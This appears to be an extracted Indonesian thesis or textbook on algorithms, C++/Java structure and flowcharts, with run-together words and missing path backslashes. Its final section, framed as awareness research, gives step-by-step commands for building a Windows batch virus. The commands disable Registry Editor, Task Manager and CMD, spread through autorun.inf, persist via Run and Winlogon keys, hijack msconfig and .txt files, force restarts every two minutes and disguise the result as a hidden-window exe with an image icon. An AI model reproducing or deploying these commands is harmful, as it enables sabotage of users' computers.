menampilkan bilangan dari 10 sampai 1 secara
  16. 16. menurun, yaitu 10,9,8,7,6,5,4,3,2,1. Algoritma dari permasalahan tersebut adalah: a. Tentukan nilai awal, batas dan penurunan nilai b. Lakukan perulangan sampai batas terpenuhi c. Tampilkan bilangan Keterangan dari algoritma diatas adalah: pada baris pertama, kita diminta untuk mendefinisikan variabel bilangan dalam hal ini disimpan dalam variabel n. Adapun nilai awal n adalah 10. Kemudian batas dari bilangan adalah n>0. Karena yang akan ditampilkan bilangan secara menurun maka bilangan awal dikurangi satu persatu. Dalam C++, penulisannya adalah n--. Pada baris kedua, proses perulangan dimulai, n dimulai dari 10, karena 10>1 maka perulangan dilakukan serta proses penurunan berjalan yaitu 10-1=9. Seterusnya, perulangan dilakukan sampai n=0. Apabila nilai n=0, maka proses perulangan dihentikan dan langkah selanjutnya akan turun kebaris ketiga yaitu menampilkan semua bilangan dalam perulangan tersebut. Salah satu konsep yang penting dalam bahasa pemrograman C++ adalahstruktur. Struktur merupakan suatu bentuk susunan dari suatu program yangdibuat. Program C++ merupakan program yang berbentuk fungsi-fungsi. Main ()merupakan nama dari suatu fungsi yang harus ada di program C++ dan diletakkandibagian tertentu yang menunjukkan kepada compiler dimana awal dari suatuprogram. Selain itu main () ini hanya dapat digunakan sekali saja dalam suatuprogram. Dapat jugaa dikatakan bahwa setiap program C harus mengandungfungsi main () agar dapat diproses. Tanda brance pembuka “{“ yang diletakkan dibawah nama fungsi main ()menunjukkan tanda awal dari perintah-perintah yang akan ditulis atau tanda “{“merupakan awal dari function body atau fungsi blok. Tanda brance penutup “}”menunjukkan akhir dari suatu fungsi blok. Suatu program C++ dapat terdiri lebihdari satu fungsi. Pada program sederhana diatas hanya terdiri dari sebuah tubuhfungsi. Suatu tubuh fungsi dapat berisi beberapa fungsi, sedangkan suatu fungsidapat dibuat dari satu atau lebih statement atau library function (fungsi pustaka)
  17. 17. yang sudah tersedia. Pada contoh program diatas, perintah printif adalah fungsipustaka yang dipergunakan untuk menampilkan hasil. 6 Bagian pertama program Java adalah mengidentifikasi lingkunganinformasi. Untuk melakukan hal ini, susunan program Java menetapkan suatukelas atau paket yang akan menjadi sebutan di dalam program itu. Disini,informasi bantuan yang ditetapkan sebagai statement „import‟. Dalam suatuprogram, statement import yang digunakan bisa lebih dari satu. Sebagai contoh,salah satu statement import yang biasanya digunakan dalam program adalahimport java.awt.*; Statement import tersebut mengimport paket „awt‟, yang manadigunakan untuk membuat obyek GUI. Disini, java merupakan nama folder, yangmana didalamnya berisi paket „awt‟ itu. Sedangkan simbol „*‟ menandakanbahwa semua kelas dibawah paket ini tidak dimasukkan. Di dalam java, semua kode, mencakup deklarasi fungsi (method) danvariabel harus dimasukkan dalam suatu kelas. Oleh karena itu, suatu deklarasikelas mengikuti import statement yang digunakannya. Sebuah program tunggaldimungkinkan untuk mempunyai beberapa kelas. Kelas ini boleh extend kelaslain. Selanjutnya tanda titik koma digunakan untuk mengakhiri statementprogram. Selain dari pada itu, program juga boleh berisi komentar. Compilermengabaikan komentar itu. Dalam java juga mempunyai „token (tanda)‟. Token merupakan satuanindividu terkecil dalam sebuah program java. Walaupun sebagai unsur yangpaling kecil dari suatu program namun dia mengandung penuh arti bagi suatucompiler. Karena itu, program java merupakan sekumpulan dari token-token itu. Di dalam program java, token digolongkan kedalam lima kategori.Kelima kategori token itu seperti berikut:a. Identifikasi (identifier)b. Kata kunci (keyword) / Kata cadangan (reserve word)c. Mesin pemisah (separator)d. Harafiah (literal)6 Wisnu Yudo, Algoritma dan Pemrograman Dengan Bahasa Java. (Yogyakarta: Graha Ilmu,2012), hal. 48-49
  18. 18. e. Operator1.3. Flowchart7 Dalam mendeskripsikan prosedur penyelesaian permasalahan dalambentuk alagoritma, seringkali dijumpai kesulitan jika hanya menggunakan kata-kata atau kalimat-kalimat saja. Dengan demikian, deskripsinya cenderung sulitdipahami dan memungkinkan timbulnya kesalahan interprestasi bagi orang lain.Selain itu, diperlukan banyak keterangan- keterangan yang seringkali justru sulitdimengerti. Belum lagi, setiap orang tentu memiliki cara-cara tersendiri yangberbeda sehingga tidak pernah ditemukan keseragaman dalam formatpenulisannya. Untuk alasan-alasan tersebut , maka penggunaan diagram alir (flowchart)akan banyak membantu dan menguntungkan. Dengan flowchart, langkah-langkahprosedur penyelesaian permasalahan dapat diekspresikan dengan serangkaiansimbol grafis yang baku dan lebih mudah digunakan. Penggunaan flowchart akanmenghindarkan sejak dini timbulnya kesalahan interprestasi bagi orang lain yangmerupakan awal kegagalan suatu prosedur yang dikembangkan. Banyak manfaat akan diperoleh apabila kita sering menggunakanflowchart dalam mengembangkan prosedur pemecahan masalah komputasi.Pertama, kita terbiasa berfikir secara sistematis dan terstruktur dalam setiapkesempatan. Kedua, dengan menggunakan flowchart , kita akan lebih mudahuntuk mengecek dan menemukan bagian-bagian prosedur yang tidak valid danbertele-tele. Selain itu, prosedur yang dikembangkan akan lebih mudah untukdipahami oleh orang lain, sehingga tidak menimbulkan kesalahan interprestasiapabila mau menerapkan prosedur yang kita kembangkan. Flowchart dapat diartikan sebagai suatu alat atau sarana yangmenunjukan langkah-langkah yang harus dilaksanakan dalam menyelesaikansuatu permasalahan untuk komputasi dengan cara mengekspresikannya ke dalamserangkaian simbol-simbol grafis khusus. Flowchart menolong analisis dan7EdhySutanta,AlgoritmaTeknikPenyelesaianPermasalahanUntukKomputasi (Yogyakarta:GrahaIlmu, 2004), hal. 27-28
  19. 19. programmer untuk memecahkan masalah ke dalam segmen-segmen yang lebihkecil dan menolong dalam menganalisis alternatif-alternatif lain dalampengoperasian. Flowchart biasanya mempermudah penyelesaian suatu masalahkhususnya masalah yang perlu dipelajari dan dievaluasi lebih lanjut. Adapuntujuan membuat flowchart, yaitu:1. Menggambarkan suatu tahapan penyelesaian masalah.2. Secara sederhana, terurai, rapi, dan jelas.3. Menggunakan simbol-simbol standar. Simbol-simbol yang dipakai dalam flowchart dibagi menjadi 3kelompok, yaitu:1. Flow Direction Symbols, digunakan untuk menghubungkan simbol satu dengan yang lain yang sering disebut dengan connecting line.2. Processing Symbols, menunjukan jenis operasi pengolahan dalam suatu proses prosedur3. Input Output Symbols, menunjukan jenis peralatan yang digunakan sebagai media input atau output. Dalam pembuatan flowchart tidak ada rumus atau patokan yang bersifatmutlak. Karena flowchart merupakan gambaran hasil pemikiran dalammenganalisa suatu masalah dengan komputer. Sehingga flowchart yang dihasilkandapat bervariasi antara satu pemrogram dengan pemrogram lainnya.Namun secaragaris besar, setiap pengolahan selalu terdiri dari tiga bagian utama, yaitu;1. Input berupa bahan mentah.2. Proses pengolahan.3. Output berupa bahan jadi. Untuk pengolahan data dengan komputer, dapat dirangkum urutan dasaruntuk pemecahan suatu masalah, yaitu:1. Start: berisi instruksi untuk persiapan perlatan yang diperlukan sebelum menangani pemecahan masalah.2. Read: berisi instruksi untuk membaca data dari suatu peralatan input.3. Process: berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai dengan data yang dibaca.
  20. 20. 4. Write: berisi instruksi untuk merekam hasil kegiatan ke perlatan output.5. End: mengakhiri kegiatan pengolahan.1.3.1. Pedoman-pedoman dalam Membuat Flowchart8 Bila seorang analis dan programmer akan membuat flowchart, adabeberpa petunjuk yang harus diperhatikan, seperti:1. Flowchart digambarkan dari halaman atas ke bawah dan dari kiri ke kanan.2. Aktivitas yang digambarkan harus didefinisikan secara hati-hati dan definisi ini harus dapat dimengerti oleh pembacanya.3. Kapan aktivitas dimulai dan berakhir harus ditentukan secara jelas.4. Setiap langkah dari aktivitas harus diuraikan dengan menggunakan deskripsi kata kerja, misalkan menghitung pajak penjualan.5. Setiap langkah dari aktivitas harus berada pada urutan yang benar.6. Lingkup dan range dari aktifitas yang sedang digambarkan harus ditelusuri dengan hati-hati. Percabangan-percabangan yang memotong aktivitas yang sedang digambarkan tidak perlu digunakan dan percabangannya diletakkan pada halaman yanga terpisah atau dihilangkan seluruhnya bila percabangannya tidak berkaitan dengan sistem.7. Gunakan simbol- simbol flowchart yang standar.1.3.2. Jenis-jenis Flowchart Flowchart terbagi atas 5 jenis, yaitu:1. Flowchart Sistem Flowchart sistem merupakan bagan yang menunjukan alur kerja atau apa yang sedang dikerjakan di dalam sistem secara keseluruhan dan menjelaskan urutan dari prosedur-prosedur yang ada di dalam sistem. Dengan kata lain, flowchart ini merupakan deskripsi secara grafik dari urutan prosedur-prosedur yang terkombinasi yang membentuk suatu sistem. Flowchart sistem terdiri dari data yang mengalir melalui sistem dan proses yang mentrasformasikan data itu. Data dan proses dalam flowchart sistem8 Normalia dan Nikous Soter, Struktur Data danAlgoritma (Medan: USU Press, 2007), hal. 5-16
  21. 21. dapat digambarkan secara online (dihubungkan langsung dengan komputer) atau offline (tidak dihubungkan langsung dengan komputer, misalnya mesin tik, cash register atau kalkulator).2. Flowchart paperwork/Flowchart dokumen Flowchart paperwork menelusuri alur dari data yang ditulis melalui sistem. Flowchart paperwork sering disebut juga dengan flowchart dokumen. Kegunaan utamanya adalah untuk menelusuri alur form dan laporan sistem dari satu bagian ke bagian lain baik bagaimana alur form dan laporan diproses, dicatat dan disimpan.3. Flowchart Skematik Flowchart skematik mirip dengan flowchart sistem yang menggambarkan suatu sistem atau prosedur. Flowchart skematik ini bukan hanya menggunakan simbol-simbol flowchart standar, tetapi juga menggunakan gambar-gambar komputer, peripheral, form-form atau peralatan lain yang digunakan dalam sistem. Flowchart skematik digunakan sebagai alat komunikasi antara analis sistem dengan seseorang yang tidak familiar dengan simbol-simbol flowchart yang konvensional. Pemakaian gambar sebagai ganti dari simbol-simbol flowchart akan menghemat waktu yang dibutuhkan oleh seseorang untuk mempelajari simbol abstrak sebelum dapat mengerti flowchart. Gambar- gambar ini mengurangi kemungkinan salah pengertian tentang sistem, hal ini disebabkan oleh ketidak-mengertian tentang simbol-simbol yang digunakan. Gambar-gambar juga memudahkan pengamat untuk mengerti segala sesuatu yang dimaksudkan oleh analis, sehingga hasilnya lebih menyenangkan dan tanpa ada salah pengertian4. Flowchart Program Flowchart program dihasilkan dari flowchart sistem. Flowchart Program merupakan keterangan yang lebih rinci tentang bagaimana setiap langkah program atau prosedur sesungguhnya dilaksanakan. Flowchart ini menunjukan setiap langkah program atau prosedur dalam urutan yang tepat saat terjadi. Programmer menggunakan flowchart program untuk
  22. 22. menggambarkan urutan instruksi dari program komputer. Analis Sistem menggunakan flowchart program untuk menggambarkan urutan tugas-tugas pekerjaan dalam suatu prosedur atau operasi.5. Flowchart Process Flowchart process merupakan teknik penggambaran rekayasa industrial yang memecahkan dan menganalisi langkah-langkah selanjutnya dalam suatu prosedur atau sistem. Flowchart proses digunakan oleh perekayasa industrial dalam mempelajari dan mengembangkan proses-proses manufacturing. Dalam analisi sistem, Flowchart ini digunakan secara efektif untuk menelusuri alur suatu laporan atau form.1.3.3. Simbol- Simbol Flowchart Simbol- simbol flowchart yang biasanya dipakai adalah simbol- simbolflowchart standar yang dikeluarkan oleh American National Standard Institure(ANSI) dan Internasional Standardization Organization (ISO).Simbol-simbol flowchart standar adalah sebagai berikut Tabel 1.1. Simbol-simbol Flowchart Simbol Arti Terminator Awal ataupun akhir flowchartInput/ output Merepresentasikan input data atau output data yang diproses atau informasi Proses Mempresentasikan operasi
  23. 23. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan) Simbol ArtiPenghubung (on page reference) Penghubung dari bagian flowchart khususnya halaman yang sama Off- page reference Penghubung bagan flowchart untuk halaman yang berbeda. Predefined Process Rincian operasi berada di tempat lain Preparation Pemberian harga awal Punched Card Input/ output yang menggunakan kartu berlubang Dokumen Input atau output format yang dicetak On-line Storage Input/output yang mengguanakan penyimpanan akses langsung
  24. 24. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan) Simbol Arti Magnetic Disk Input/ output yang menggunakan disk magnetik1.4. Sistem Virus Batch Sederhana1.4.1. Pendahuluan Saat ini perkembangan teknologi komunikasi dan informasi sangat pesat,sehingga manusia semakin mudah menjalankan aktivitasnya sehari-hari. Sebagianbesar orang bekerja dengan komputer, baik menggunakan desktop PC, laptop ataunotebook. Bahkan sampai semua data pekerjaan, dokumentasi, koleksi foto, lagu,video, dan lain-lain, semuanya dapat disimpan dalam perangkat PC maupunNotebook tersebut, sehingga memudahkan apabila akan digunakan sewaktu-waktu, tetapi sering perangkat elektronik tersebut kurang mendapat perhatianlebih dari para pengguna maupun pemiliknya, terutama di sisi keamanan. Contoh:virus yang menyerang PC maupun Notebook yang mengganggu dokumen atauaplikasi dalam komputer, lebih parah lagi aplikasi menjadi tidak dapat dijalankanatau dokumen menjadi rusak.Perkembangan virus pun tidak kalah pesatnya. Jenisvirus yang sudah beredar sangat beragam, salah satunya virus batch, virussederhana yang menggunakan perintah-perintah dalam DOS. Sebenarnya jenisvirus batch ini tidak berbeda dengan virus-virus yang lain, hanya prosespembuatannya tidak memerlukan bahasa pemrograman tingkat lanjut denganbeberapa baris perintah saja virus jenis ini bisa menjadi virus sederhana yangsifatnya hanya mengganggu, atau menjadi virus yang cukup berbahaya. Penelitianini dilakukan agar dapat lebih mengetahui tentang seluk beluk virus batch danbahayanya, mengetahui metode penyerangan dan penyebaran virus, sertamemberikan manfaat kepada user mengetahui dan menyadari apakahkomputernya telah terserang virus batch atau belum, sehingga dapat mencegahvirus batch menginfeksi komputer user. Salah satu cara agar virus batch tidak
  25. 25. masuk adalah dengan mencegah user mengakses fitur-fitur tertentu, sepertiregistry editor, command prompt, task manager, dan lain sebagainya. Menurut(Mufadhol, 2008), dalam tulisannya menjelaskan pengertian, cara penyebaran,jenis-jenis virus komputer, kondisi komputer apabila terserang virus, dan tipspencegahan serangan virus. Dari tulisan tentang seluk beluk virus komputer inimembantu meningkatkan kesadaran dan menambah pengetahuan user terhadapvirus komputer serta caracara pencegahannya, salah satunya pemasanganantivirus. Tinjauan pustaka lainnya (Suhandi,2009), meneliti perilaku virus H1N1pada sistem operasi windows dan membuat aplikasi antivirus songketmenggunakan metode Behavior Blocking Detection untuk menangkal virus H1N1tersebut. Aktivitas serangan virus secara umum dimulai akibat “kecerobohan”user, yaitu ketika user men-double click suatu file yang telah terinfeksi oleh virus.File-file virus tersebut biasanya berekstensi *.bat, *.exe, *.scr, *.vbs. File-filedengan ekstensi seperti itu adalah file program yang dapat diakses atau dijalankansecara langsung oleh komputer (Windows) tanpa perantara software tambahan dariWindows. Begitulah asal mula kehidupan virus di komputer user. (Rafrastara,2007). Semakin majunya perkembangan virus sekarang ini perlu diwaspadaijuga, karena virus tidak hanya bisa menginfeksi file-file program sepertidisebutkan di atas, tapi bisa juga menginfeksi file gambar, video, lagu, juga file-file dokumen dan semacamnya. Jadi tidak tertutup kemungkinan bila suatu saatfile dokumen tiba-tiba tidak bisa dibuka lagi, atau menghilang dengan tiba-tiba.Kemungkinan-kemungkinan seperti itu harus tetap diwaspadai. Dalam duniaperkomputeran saat ini, virus bukanlah suatu hal yang menggemparkan. Bahkanmungkin sudah menjadi hal yang biasa di kalangan para pengguna komputer.Mulai dari virus yang sederhana, hingga virus yang sifatnya sangat berbahayayang memiliki kemampuan yang bersifat merusak baik sistem maupun data yangada di dalam suatu komputer. Definisi Virus adalah suatu program malware(software jahat) yang sifatnya mengganggu dan cenderung merusak kinerja sistematau file-file tertentu yang merupakan sasaran utama mereka. Biasanya memilikikemampuan untuk berkembang biak dan memanfaatkan program lain untuk
  26. 26. penyebarannya. Syarat agar suatu program dapat disebut sebagai virus, antara lain: mampu menggandakan diri hingga ke removable disk, mampu menyembunyikanproses kerjanya, mampu memanipulasi file atau folder, mampu memanipulasiregistry. Jenis virus bisa dibedakan menjadi beberapa bagian, yaitu: 1. Virus Boot Sector, merupakan virus umum, menggandakan diri dengan cara menindih boot sector asli pada sebuah disk, sehingga pada saat booting virus akan langsung dijalankan ke memori. Virus file, virus ini menyerang file yang dijalankan oleh suatu sistem operasi. Biasanya menyerang com atau exe. 2. Virus Direct Action, virus ini akan masuk ke memori untuk menjalankan file lainnya, lalu menjalankan program lain untuk menipu. Multi Partition Virus, merupakan gabungan dari virus boot sector dan virus file. 3. Polymorphic virus, virus dirancang untuk mengelabui program antivirus, yaitu dengan mengubah struktur dirinya setelah menjalankan perintah. 4. Stealth virus, mengendalikan instruksi-instruksi level DOS dengan menguasai tabel interrupt. 5. Macro virus, ditulis oleh bahasa pemrograman dari suatu aplikasi, sehingga bersifat platform independent. Karakteristik Virus umumnya mempunyai struktur yang hampir sama,dan dapat dibedakan menjadi beberapa kode, yaitu : (Shadewa, 2007) kodepenanda virus, kode penggandaan virus, kode pertahanan dan penyembunyiandeteksi, kode pemicu, dan kode manipulasi. Kode penanda virus, setiap virus pastimempunyai identitas masing-masing. Bisa dibuat dengan karakter atau jumlahbyte tertentu sebagai marker sesuai dengan keinginan si pembuat. Contoh, virus Amempunyai penanda X, dan virus B mempunyai penanda Y, maka virus-virustersebut akan dikenali antivirus sesuai penandanya. Kode penggandaan virus,suatu program tidak dapat dikatakan virus jika tidak dapat menggandakan dirinya.Banyak cara atau jurus untuk menggandakan diri yang digunakan oleh virus-virussekarang ini. Kode pertahanan dan penyembunyian deteksi, kode ini diperlukanvirus untuk mengecoh antivirus, bisa dengan mengenkripsi file virus tersebut,menyembunyikan proses kerja pada komputer korban, ataupun menampilkan
  27. 27. pesan pengalihan ketika user mencoba menjalankan program antivirus. Kodepemicu, setiap virus mempunyai program atau kode untuk mengaktifkan programutamanya. Program atau kode ini bisa dipicu dengan bermacam-macam cara,contohnya virus diaktifkan ketika user membuka file tertentu pada jendelaExplorer. Atau dengan memakai nama file yang sedang populer dan menarikperhatian user untuk menjalankan file tersebut. Kode manipulasi, kode ini bergunauntuk menghapus file, menjalankan aplikasi tertentu untuk mencuri danmengirimkan data ke sebuah email. Batasan manipulasi terserah kepadapembuatnya, karena hal inilah maka virus dikategorikan dalam program yangbersifat merusak. Cara kerja sebuah virus diterangkan sebagai berikut : Setelah programvirus diklik oleh user, maka virus akan menjalankan proses, kemudian virusmenjalankan kode pertahanan diri, yaitu dengan menyembunyikan proses yangterjadi di komputer, selanjutnya virus akan menjalankan kode penggandaan diriyaitu dengan mencari file berekstensi tertentu, seperti .exe, .jpg, .doc, dan lain-lain. Selanjutnya virus akan memeriksa apakah file tersebut ada kode penandanya,jika file tersebut tidak ada kode penandanya maka virus akan menginfeksi fileyang sehat tersebut, atau menyisipkan kode virus, kemudian virus akan mencarifile yang belum terinfeksi, sedangkan jika virus tidak menemukan penanda padafile yang dicari, maka virus akan mencari file selanjutnya yang belum terinfeksi.Kemudian virus akan menjalankan kode manipulasi, misalnya menghapus dataatau menjalankan kode penggandaan diri lagi, setelah kode tersebut dijalankan,virus akan mengerjakan kode pertahanan kembali, yaitu dengan cara mengenkripfile virus untuk menyembunyikan diri dari pendeteksian antivirus. Batch filemerupakan salah satu program yang dapat diakses dan dijalankan secara langsungoleh sistem Windows tanpa bantuan program pendukung lainnya. Batch file inimemiliki ekstensi file .bat. Selain batch file, windows juga dapat mengeksekusiprogram yang berekstensi .com, .exe, dan lain sebagainya. Perintah-perintah yangdipahami oleh batch file adalah perintah-perintah yang sifatnya internal maupuneksternal pada DOS (cmd.exe pada Windows). Perintah internal adalah perintahyang dapat dieksekusi secara langsung tanpa adanya program tambahan.
  28. 28. Sedangkan perintah eksternal adalah suatu perintah yang membutuhkan programtambahan untuk bisa menjalankannya, seperti attrib.exe, format.com, dan lainsebagainya. Jadi batch file mampu mengeksekusi perintah command promptdengan sekali eksekusi saja. Berikut beberapa contoh perintah internal daneksternal yang ada dalam DOS Tabel 1.2. Contoh Perintah Internal DOSNo Perintah Fungsi 1 Cls Membersihkan layar 2 Cd Memanggil direktori 3 Dir Menampilkan isi direktori atau drive 4 Copy Menyalin file 5 Del Menghapus file 6 Ren Mengganti nama file 7 Md Membuat direktori baru 8 Rd Menghapus direktori 9 Date Menampilkan dan mengatur tanggal 10 Time Menampilkan dan mengatur waktu 11 Echo Mencetak string 12 Format Memformat partisi atau drive 13 Unformat Partisi atau drive yang terformat 14 Merecover Merecover file yang terhapus undelete 15 Attrib Mengatur atribut file 16 Edit Membuat atau mengedit file 17 Label Menentukan label disk 18 Tree Menampilkan direktori beserta sub-subnya 19 Deltree Menghapus direktori beserta sub-subnya 20 Xcopy Menyalin satu direktori penuh 21 Chdsk Melakukan pengecekan pada disk 22 Scandisk Mendiagnosa permasalahan pada disk
  29. 29. Registry windows merupakan ruang kontrol utama dari sistem operasiWindows. Hal ini dikarenakan registry merupakan basis data pusat pengaturanatau konfigurasi Windows serta informasi dari segala hal yang ada di dalamkomputer, mulai dari hardware yang terpasang, port-port yang digunakan,software yang terinstal, hingga informasi seputar pengguna lain juga terekamsecara rapi dalam basis data tersebut. Semua isi registry tersebut dapatdimodifikasi melalui jendela Registry Editor. Isi dari registry secara umum terdiridari dua unsur, yaitu Hive dan Value Entry. Hive merupakan sarang atau cabangutama dari registry yang berfungsi menangani kasus-kasus tertentu. Umumnyadalam registry terdapat 5 macam hive, yaitu : HKEY_CLASSES_ROOT,merupakan Subkey dari HKEY_LOCAL_MACHINE Software. Biasa digunakanuntuk mengatur file asosiasi ketika membuka suatu file melalui WindowsExplorer. HKEY_CURRENT_USER, yang akan digunakan untuk menyimpaninformasi konfigurasi dari user yang sedang aktif saat ini, dan merupakan subkeydari HKEY_USERS. Pada key ini dapat dilakukan pengaturan yang diantaranyaadalah pengaturan seputar Folder, Control Panel, Windows Explorer, dantampilan layar yang digunakan oleh user tersebut. HKEY_LOCAL_MACHINE,berisi informasi seputar hardware, software, dan lain sebagainya yang terpasangdan berhubungan dengan Windows. Key ini berlaku untuk semua aplikasi user.HKEY_USERS, merupakan induk dari HKEY_CURRENT_USER. Fungsinyaadalah menyimpan informasi semua user yang ada di komputer tersebut.HKEY_CURRENT_CONFIG, memuat informasi seputar profile hardware yangdigunakan pada suatu komputer. Value Entry, merupakan nilai yang dapatberfungsi sebagai sebuah perintah yang biasanya digunakan untuk melakukan aksiatau manipulasi tertentu. Value entry terdiri dari 3 bagian, yaitu : DWORD value(REG_DWORD), merupakan data dengan nilai 4 bytes. Namun nilai yang seringdipakai dalam DWORD value adalah nilai boolean, yaitu 1 (benar) dan 0 (salah).String value (REG_SZ), merupakan jenis karakter biasa atau string standard yangumum digunakan oleh manusia. Binary value (REG_BINARY), merupakan dataatau nilai mentah, seperti nilai yang dapat dipahami oleh komputer, yaitu biner.
  30. 30. Informasi seputar hardware diletakkan sebagai data biner, namun pada RegistryEditor dapat dilihat dalam format Hexadecimal.1.4.2. Metode Virus batch dikonversikan menjadi file .exe, dengan menggunakan iconfile gambar (icon file JPG), bukan icon file aplikasi. Hasil akhir akan diberi namafile virusku.exe. Algoritma virus batch sederhana sebagai berikut: Kopikan dirisendiri ke folder WindowsSystem32. Matikan Regedit. Nonaktifkan FolderOptions. Matikan Task Manager. Nonaktifkan Command Prompt. Buat fileautorun.inf. Kopikan diri sendiri dan file autorun.inf ke drive C, D, E, F,G, H.Sembunyikan file-file yang memiliki atribut System File. Sembunyikan FileExtension. Buat file restart.bat di direktori C:Windows. Buat Schedule Taskuntuk menjalankan file restart.bat setiap 2 menit. Aktifkan virus dalam modeStartUp. Alihkan eksekusi msconfig ke file virus. Alihkan eksekusi file *.txt kefile virus. Aktifkan virus dalam Safe Mode dan Safe Mode With CommandPrompt. Jalankan game Minesweeper bawaan Windows. Konversikan filecontoh3.bat menjadi file virusku.exe.1.4.3. Pembahasan Implementasi dari diagram alir dan algoritma pembuatan virus batchadalah sebagai berikut: Kopikan diri sendiri ke folder WindowsSystem32.Sebelumnya periksa terlebih dahulu keberadaan diri sendiri di folderWindowsSystem32. Jika belum ada, kopikan diri sendiri ke folder tersebutdengan perintah : If not exist C:Windowssystem32 virusku.exe copy virusku.exeC:Windowssystem32. Matikan Regedit, yang akan digunakan metode yangberbeda, jadi bukan lagi melakukan bloking pada program registry editor, tetapilangsung menutup program registry editor setiap kali dijalankan. Sehinggaregistry editor tidak dapat dibuka/dijalankan dengan perintah: REG ADD“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File ExecutionOptionsregedit.exe” /v debugger /t REG_SZ /d “tskill regedit” /f NonaktifkanFolder Options, dengan menyembunyikan fasilitas Folder Options, sebagai salah
  31. 31. satu metode pertahanan diri bagi file virus. Dengan perintah: REG ADDHKCUMicrosoftWindowsCurrent VersionPoliciesExplorer/v NoFolderOptions/t REG_DWORD /d 1 /f Matikan Task Manager, metode yang digunakan samaseperti untuk mematikan registry editor pada poin sebelumnya. Sehingga setiapkali Task Manager dijalankan akan langsung ditutup kembali dengan erintah:REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage FileExecution Options taskmgr.exe” /v debugger /t REG_SZ /d “tskill taskmgr” /fNonaktifkan Command Prompt, disini Command Prompt akan diblok, sehinggatidak dapat digunakan. Namun untuk file batch dapat tetap berjalan denganperintah: REG ADD HKCUSoftwarePolicies MicrosoftWindowsSystem/vDisableCMD /t REG_DWORD /d 2 /f Buat file autorun.inf., sebelumnya periksaterlebih dahulu keberadaan file autorun.inf di folder aktif saat itu. File virusnyaakan berbentuk .exe file. if not exist autorun.inf goto mk_auto. Jika tidakditemukan, barulah dibuat file autorun-nya dengan perintah: :mk_auto Echo[Autorun] > autorun.inf Echo open = virusku.exe >> autorun.inf Echoshell1=Scan with antivirus >> autorun.inf Echo shell1Command=virusku.exe>> autorun.inf Echo shellexecute=virusku.exe >> autorun.inf Kopikan dirisendiri dan file autorun.inf ke drive C, D, E, F,G, H, untuk peng-copyan file viruske banyak tempat, berikut perintahnya. For %%x in (C D E F G) do copyvirusku.exe %%x: Sedangkan untuk file autorun-nya juga dilakukan secaraterpisah. For %%y in (C D E F G) do copy autorun.inf %%y: Sembunyikan file-file yang memiliki atribut System File. Memastikan file-file dengan atribut superhidden tidak ditampakkan dengan perintah. REG ADDHKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /vShowSuperHidden /t REG_DWORD /d 0 /f Sembunyikan File Extension, akandicoba untuk menyembunyikan ekstensi file, untuk sedikit menyamarkan filevirus yang akan dibuat, agar user tidak curiga. REG ADDHKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /vHideFileExt /t REG_DWORD /d 1 /f Buat file restart.bat di direktori C:Windows.Sebelum membuat file restart.bat, akan diperiksa terlebih dahulu apakah filetersebut sudah ada atau belum di folder C:Windows. Bila belum ada, baru
  32. 32. kemudian dibuat file restart.bat tersebut. If not exist C:Windowsrestart.bat gotomk_restart Selanjutnya isi dari fungsi mk_restart untuk membuat file restart.bat. :mk_restart Echo shutdown –r –t 30 -c”Mohon Maaf Lahir & Batin” –f >C:Windowsrestart.bat Buat Schedule Task untuk menjalankan file restart.batsetiap 2 menit. Jadi setiap windows berjalan selama 2 menit, file restart.bat akandijalankan. Schtasks /create /sc minute /mo 2 /tn Yohoo /tr C:Windowsrestart.bat/ru System Aktifkan virus dalam mode StartUp. Setiap kali windows berjalanmaka virus juga berjalan seiring dengan file-file system yang lain. REG ADDHKLMSoftwareMicrosoft WindowsCurrent VersionRun /v privacy /t REG_SZ/d C:Windowssystem32 virusku.exe /f Alihkan eksekusi msconfig ke file virus.Saat menjalankan program msconfig, maka yang akan jalan adalah file virus,bukan jendela System Configuration Utility yang akan terbuka. REG ADD“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File ExecutionOptionsmsconfig.exe”/vdebugger/tREG_SZ/d“C:Windowssystem32virusku.ex/fAlihkan eksekusi file *.txt ke file virus. Hal ini dilakukan agar nantinya pada saatfile .txt dijalankan, maka yang terbuka bukanlah notepad, melainkan file virus.REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorerFileExts.txt /v Application /t REG_SZ /d "%SystemRoot%system32virusku.exe"/f Aktifkan virus dalam Safe Mode dan Safe Mode With Command Prompt. Hal inibertujuan agar virus bisa tetap jalan di Safe Mode. Untuk Safe Mode sebagaiberikut:REGADD“HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlogon”/vShell/tREG_SZ/d“Explorer.exe,C:WindowsSystem32virusku.exe”/fsedangkan untuk Safe Mode With Command Prompt sebagai berikut: REG ADDHKLMSystemControlSet001 ControlSafeBoot /v AlternateShell /t REGC:Windows System32virusku.exe /f Jalankan game Minesweeper bawaanWindows. Sebenarnya ini hanya digunakan sebagai penanda bahwa virus sudahdijalankan. Konversikan file contoh3.bat menjadi file virusku.exe. Proses inidilakukan setelah virus jadi. Langkah selanjutnya mengkonversi file .bat menjadi.exe, yaitu melakukan konversi agar file contoh3.bat dapat menjadi filevirusku.exe, sesuai dengan algoritma. Proses ini nantinya akan menggunakansoftware untuk membuat konversi file *.bat menjadi *.exe, salah satunya yang
  33. 33. sudah digunakan disini adalah Bat to EXE Converter v1.4. Pemilihan untukmenggunakan software Bat to EXE Converter dikarenakan langkahpengoperasiannya yang sangat mudah sekali. Gambar 1.1. Bat to Exe ConverterPada Gambar 1.1. terlihat ada empat field di bagian atas merupakan bagian intiyang digunakan untuk proses konversi ini, yaitu: Batchfile, tempat untukmenentukan file .bat yang akan dikonversi. Include, tempat untuk menentukan fileapa saja yang disertakan dalam file .exe hasil dari proses konversi. Iconfile,tempat untuk menentukan icon apa yang akan digunakan untuk file .exe hasilkonversi. Save as, untuk menentukan nama file .exe hasil konversi. Di bagianbawah ada bagian Additional Informations, untuk berbagai keterangan dari file.exe hasil konversi. Kemudian yang paling penting untuk sebuah program virus,pilihan fitur yang terletak di atas tombol Compile, yaitu Ghost Application. Virustentu saja tidak ingin diketahui aktivitasnya, maka saat proses konversi digunakanpilihan Ghost Application, agar tidak muncul jendela konfirmasi maupun
